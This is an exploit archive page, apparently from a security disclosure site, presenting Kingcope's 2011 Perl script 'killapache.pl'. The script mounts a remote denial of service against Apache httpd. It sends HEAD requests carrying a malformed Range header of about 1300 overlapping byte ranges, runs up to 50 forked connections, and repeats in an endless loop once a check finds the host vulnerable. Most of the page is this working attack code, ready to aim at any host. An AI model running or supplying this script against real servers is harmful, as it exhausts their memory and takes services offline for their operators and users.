Exploit the possiblities

Apache httpd Remote Denial Of Service

Apache httpd Remote Denial Of Service
Posted Aug 19, 2011
Authored by Kingcope

Apache httpd remote denial of service memory exhaustion exploit.

tags | remote, denial of service
MD5 | f07cac889c8ef8ed82cf2b9ce4cdc7e0

Apache httpd Remote Denial Of Service

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#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#

use IO::Socket;
use Parallel::ForkManager;

sub usage {
print "Apache Remote Denial of Service (memory exhaustion)\n";
print "by Kingcope\n";
print "usage: perl killapache.pl <host> [numforks]\n";
print "example: perl killapache.pl www.example.com 50\n";
}

sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";

$pm = new Parallel::ForkManager($numforks);

$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {
$p .= ",5-$k";
}

for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;

$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "80",
Proto => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

while(<$sock>) {
}
$pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}

sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "80",
Proto => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

$x = <$sock>;
if ($x =~ /Partial/) {
print "host seems vuln\n";
return 1;
} else {
return 0;
}
}

if ($#ARGV < 0) {
usage;
exit;
}

if ($#ARGV > 1) {
$numforks = $ARGV[1];
} else {$numforks = 50;}

$v = testapache();
if ($v == 0) {
print "Host does not seem vulnerable\n";
exit;
}
while(1) {
killapache();
}

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